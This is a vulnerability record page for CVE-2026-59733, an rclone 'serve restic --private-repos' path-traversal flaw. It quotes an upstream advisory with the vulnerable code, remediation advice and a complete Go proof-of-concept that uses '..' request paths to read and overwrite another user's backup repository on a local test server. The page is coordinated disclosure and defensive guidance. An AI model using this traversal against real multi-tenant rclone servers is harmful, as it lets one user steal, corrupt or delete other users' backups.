HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 59733 rclone serve restic private repos authorization
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
High · CVSS 8.8CVE-2026-59733GHSA-FQJ9-69PF-6PJG

rclone `serve restic --private-repos` authorization bypass: `..` in the URL path lets an authenticated user read, overwrite and delete other users' repositoriesCVE-2026-59733

Answer in brief

CVE-2026-59733 records a High severity (CVSS 8.8) vulnerability in rclone `serve restic --private-repos` authorization bypass: `..` in the URL path lets an authenticated user read, overwrite and delete other users' repositories. The current sources do not mark it as known exploited. The current feed maps github.com/rclone/rclone (go), github.com/rclone/rclone (go). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jul 14, 2026Updated Sep 10, 2026Source checked Oct 26, 2026First seen by HOL Jul 15, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
High · CVSS 8.8
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 8.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps github.com/rclone/rclone (go), github.com/rclone/rclone (go). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
github.com/rclone/rclonego<=1.74.31.74.4
github.com/rclone/rclonego>=0 <1.74.41.74.4

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for github.com/rclone/rclone, github.com/rclone/rclone.
  2. 2Review the reported fix. Update github.com/rclone/rclone to 1.74.4; github.com/rclone/rclone to 1.74.4 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jul 14, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Jul 15, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • GitHub security advisorygithub.com
Upstream source description

## Summary `rclone serve restic --private-repos` exists to let one rclone instance host many users' restic backup repositories behind HTTP Basic auth while keeping each user confined to a path prefix of `/<username>/`. The documentation states the flag "can be used to limit users to repositories starting with a path of `/<username>/`", and the shipped test `TestResticPrivateRepositories` asserts that user `test` may reach `/test/config` but is `403`-blocked from `/other_user/config`. This isolation is the entire security purpose of the flag. The isolation is enforced by two independent chi middlewares that derive the username and the backend object path from two *different* sources, and the path source is never canonicalized. `checkPrivate` authorizes the request by comparing the routed `{userID}` path segment against the authenticated user, while `WithRemote` builds the backend object key from the raw, un-cleaned URL path. A request such as `GET /<me>/../<victim>/config` keeps the first path segment equal to the attacker's own username (so `checkPrivate` returns the request as authorized) yet hands the backend the literal remote `me/../victim/config`. On any backend that resolves object paths with POSIX `path.Join`/`path.Clean` semantics — which includes the bundled `memory` backend used in the PoC below, and the widely deployed `sftp` and `ftp` backends — that `..` segment collapses, and the operation is performed against the victim's object. Because the same un-cleaned remote feeds the `GET` (download), `POST` (upload/overwrite) and `DELETE` handlers, any authenticated user can read, overwrite, and delete the files of any other user's private repository hosted on the same server. For restic that means reading another tenant's `config`/`keys` metadata and pack files, corrupting their repository, or deleting their backups outright (subject to `--append-only`, which still permits cross-tenant reads). ## Affected code (v1.74.3, commit `37e4117…`) `cmd/serve/restic/restic.go`. The two middlewares disagree on what "the path" is. `checkPrivate` reads the chi route param `userID`: ```go // Middleware to ensure authenticated user is accessing their own private folder func checkPrivate(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { user := chi.URLParam(r, "userID") userID, ok := libhttp.CtxGetUser(r.Context()) if ok && user != "" && user == userID { next.ServeHTTP(w, r) } else { http.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden) } }) } ``` `WithRemote` builds the backend object key from the raw URL path with **no `path.Clean`** and no `..` rejection (the only transformation is the unrelated `data/xx` sharding rewrite): ```go func WithRemote(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { var urlpath string rctx := chi.RouteContext(r.Context()) if rctx != nil && rctx.RoutePath != "" { urlpath = rctx.RoutePath } else { urlpath = r.URL.Path } urlpath = strings.Trim(urlpath, "/") parts := matchData.FindStringSubmatch(urlpath) // ... data/2159dd48 -> data/21/2159dd48 sharding only ... ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath) next.ServeHTTP(w, r.WithContext(ctx)) }) } ``` Route wiring (`Bind`): the auth-bearing `{userID}` segment is matched by chi for `checkPrivate`, but the catch-all `/*` that `WithRemote` reads keeps the literal `..`: ```go if s.opt.PrivateRepos { router.Route("/{userID}", func(r chi.Router) { r.Use(checkPrivate) s.bind(r) }) ... } ``` The remote stored by `WithRemote` is then used verbatim by the object handlers, e.g. `serveObject` → `s.newObject(ctx, remote)` → `s.f.NewObject(ctx, remote)`, `postObject` → `operations.RcatSize(..., remote, ...)`, and `deleteObject` → `o.Remove(...)`. For a request `GET /test/../victim/config`, instrumentation shows `checkPrivate` observing `userIDparam="test"` (authorized) while the object remote is `"test/../victim/config"` — the desync is exact. ## Attacker model / precondition The attacker is a low-privileged but **legitimately authenticated** user of the server: they hold valid HTTP Basic credentials for their own private repo (this is the normal multi-tenant deployment the flag is designed for — e.g. a hosting provider giving each customer a restic endpoint). No victim interaction is required. Preconditions: (1) the operator runs `rclone serve restic` with `--private-repos` and authentication configured (the documented multi-tenant setup); and (2) the served backend resolves object paths with POSIX `path.Join`/`path.Clean` semantics so the `..` collapses before the object is located. This holds for the bundled `memory` backend (used in the self-contained PoC), and for the commonly deployed `sftp` and `ftp` backends, whose object path is computed as `path.Join(f.absRoot, remote)` (`backend/sftp/sftp.go`, `o.path()`), which canonicalizes `..`. It does **not** hold for the `local` backend (which deliberately re-encodes `.`/`..` path components to fullwidth characters in `cleanRootPath`/`localPath`, neutralizing traversal), and S3-style backends treat keys as opaque so a literal `..` key normally will not match a victim object — so impact is backend-dependent. That backend-dependence is itself the defect: the cross-user authorization boundary must be enforced at the HTTP layer and must not silently rely on a particular backend's incidental path handling. ## Impact Across the per-user trust boundary that `--private-repos` is meant to enforce, any authenticated user can, against any other user's repository on the same server: - **Read** (`GET`): download the victim's restic `config` and `keys/*` files and pack/index objects — full confidentiality break of the victim's repository metadata and stored blobs. (Restic encrypts pack contents client-side, but the repository config, key files, snapshot/index structure and object existence all leak, and the master key is recoverable offline by anyone who also knows the victim's restic password — i.e. this removes the server-side isolation that was the only barrier.) - **Overwrite** (`POST`): replace the victim's objects with attacker-chosen content, corrupting or poisoning their backups. Blocked only if `--append-only` is set. - **Delete** (`DELETE`): remove the victim's repository objects, destroying their backups. Blocked only if `--append-only` is set (which still allows the read primitive). This is a complete bypass of the multi-tenant isolation control, hence C:H/I:H/A:H, gated to PR:L by the need for a valid own-account. ## Proof of Concept (complete — runs on 127.0.0.1 only) Lab-only. This is a single self-contained Go test placed inside the rclone source tree; it starts an in-process restic server on a loopback `httptest` listener backed by the bundled in-memory backend (which has the same `path.Join` key semantics as the sftp/ftp backends), then sends **raw**, un-normalized HTTP request-targets over a TCP socket (so the `..` is not collapsed client-side). It proves: (1) a user reads their own object — `200`; (2) a direct cross-tenant request is correctly blocked — `403`; (3) the `..` bypass reads the victim's secret — `200` + leak; (4) the same bypass overwrites the victim's object — `200`. Reproduce against the exact vulnerable tag: ```console git clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone cd rclone # write the test file shown below to cmd/serve/restic/zzz_poc_test.go go test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v ``` `cmd/serve/restic/zzz_poc_test.go`: ```go package restic import ( "bufio" "context" "encoding/base64" "fmt" "net" "net/http/httptest" "strings" "testing" "time" "github.com/rclone/rclone/fs" "github.com/rclone/rclone/fs/config/configfile" "github.com/rclone/rclone/fs/object" "github.com/rclone/rclone/lib/random" "github.com/stretchr/testify/require" _ "github.com/rclone/rclone/backend/memory" ) func pocBasicAuth(user, pass string) string { return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass)) } // rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized) // request-target + method + Basic auth, returning the full raw response. func rawReq(t *testing.T, addr, method, target, user, pass string) string { conn, err := net.Dial("tcp", addr) require.NoError(t, err) defer func() { _ = conn.Close() }() cred := pocBasicAuth(user, pass) req := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: x\r\nAuthorization: Basic %s\r\nConnection: close\r\n\r\n", method, target, cred) _, err = conn.Write([]byte(req)) require.NoError(t, err) r := bufio.NewReader(conn) var sb strings.Builder buf := make([]byte, 8192) for { n, err := r.Read(buf) if n > 0 { sb.Write(buf[:n]) } if err != nil { break } } return sb.String() } func pocBody(resp string) string { if idx := strings.Index(resp, "\r\n\r\n"); idx >= 0 { return resp[idx+4:] } return "" } func pocStatus(resp string) string { return strings.SplitN(resp, "\r\n", 2)[0] } // TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass // on a bucket-style backend (memory: same path.Join semantics as sftp/ftp). func TestPrivateRepoCrossTenantPoC(t *testing.T) { configfile.Install() ctx := context.Background() // Bucket-style backend shared by all private-repo users. f, err := fs.NewFs(ctx, ":memory:repos") require.NoError(t, err) put := func(remote, content string) { info := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f) _, perr := f.Put(ctx, strings.NewReader(content), info) require.NoError(t, perr) } // Victim "alice" uploads her restic config under her own private prefix. secret := "ALICE-PRIVATE-RESTIC-CONFIG-" + random.String(8) put("alice/config", secret) // Attacker "mallory" has her own valid account on the same server. put("mallory/config", "mallory-own-config") opt := newOpt() opt.PrivateRepos = true opt.Auth.BasicUser = "mallory" opt.Auth.BasicPass = "password" opt.HTTP.ListenAddr = nil s, err := newServer(ctx, f, &opt) require.NoError(t, err) ts := httptest.NewServer(s.server.Router()) defer ts.Close() addr := strings.TrimPrefix(ts.URL, "http://") // 1. Sanity: mallory reads her own config -> 200. r1 := rawReq(t, addr, "GET", "/mallory/config", "mallory", "password") t.Logf("[own] GET /mallory/config -> %s body=%q", pocStatus(r1), pocBody(r1)) // 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -> 403. r2 := rawReq(t, addr, "GET", "/alice/config", "mallory", "password") t.Logf("[direct-blocked] GET /alice/config -> %s body=%q", pocStatus(r2), pocBody(r2)) // 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so // checkPrivate passes, but the object remote collapses to alice/config. r3 := rawReq(t, addr, "GET", "/mallory/../alice/config", "mallory", "password") leaked := strings.Contains(pocBody(r3), secret) t.Logf("[BYPASS] GET /mallory/../alice/config -> %s leaked=%v body=%q", pocStatus(r3), leaked, pocBody(r3)) require.Equalf(t, "HTTP/1.1 200 OK", pocStatus(r3), "expected the bypass to return alice's object") require.Truef(t, leaked, "expected to read alice's secret config across the tenant boundary") // 4. Write bypass too: mallory overwrites alice's object (append-only off). r4 := rawReq(t, addr, "POST", "/mallory/../alice/config", "mallory", "password") t.Logf("[BYPASS-write] POST /mallory/../alice/config -> %s", pocStatus(r4)) } ``` Observed output (v1.74.3 and master HEAD): ```text === RUN TestPrivateRepoCrossTenantPoC zzz_poc_test.go: [own] GET /mallory/config -> HTTP/1.1 200 OK body="mallory-own-config" zzz_poc_test.go: [direct-blocked] GET /alice/config -> HTTP/1.1 403 Forbidden body="Forbidden\n" zzz_poc_test.go: [BYPASS] GET /mallory/../alice/config -> HTTP/1.1 200 OK leaked=true body="ALICE-PRIVATE-RESTIC-CONFIG-sijejif0" zzz_poc_test.go: [BYPASS-write] POST /mallory/../alice/config -> HTTP/1.1 200 OK --- PASS: TestPrivateRepoCrossTenantPoC (0.00s) PASS ok github.com/rclone/rclone/cmd/serve/restic 0.022s ``` The shipped `TestResticPrivateRepositories` continues to pass alongside this PoC, confirming the intended isolation model (own `200`, direct cross-tenant `403`) is exactly what the `..` request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or `net/http` client would canonicalize the `..` before sending, but `curl --path-as-is`, restic's own REST client, or any raw socket write preserves it. ## Remediation Enforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the *same* cleaned value: - In `WithRemote` (or before `checkPrivate` runs), reject or `path.Clean` the request path and refuse any path containing a `..` element after a leading-slash trim — e.g. compute `cleaned := path.Clean("/" + strings.Trim(urlpath, "/"))` and `403`/`400` if `cleaned` differs from the original or still contains a `..` segment. Then store `cleaned` (minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth. - Additionally, in `checkPrivate`, verify that the (cleaned) object remote actually has the authenticated user's name as its first path segment, rather than trusting the chi `{userID}` route param in isolation: `require strings.HasPrefix(cleanedRemote, userID+"/") || cleanedRemote == userID`. - Defense in depth: the restic server should canonicalize and `..`-reject incoming object paths even when `--private-repos` is off, so that no backend is relied upon to neutralize traversal. Please credit 5ud0 / Tarmo Technologies.

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • OpenRemote before 1.31.0 Cross-Realm Gateway Impersonation via WebsocketAlso CWE-639
  • OpenRemote before 1.31.0 Cross-Realm Information Disclosure via getGatewayActiveTunnelInfosAlso CWE-639
  • OpenRemote before 1.31.0 Gateway Authorization Bypass via Reversible mapAssetIdAlso CWE-639

Record context

Vulnerability class
Path Traversal
EPSS
Not reported
CWE IDs
CWE-22, CWE-639
Source
GitHub Security Advisories
Source checked
Oct 26, 2026
References
7 linked sources
Open source record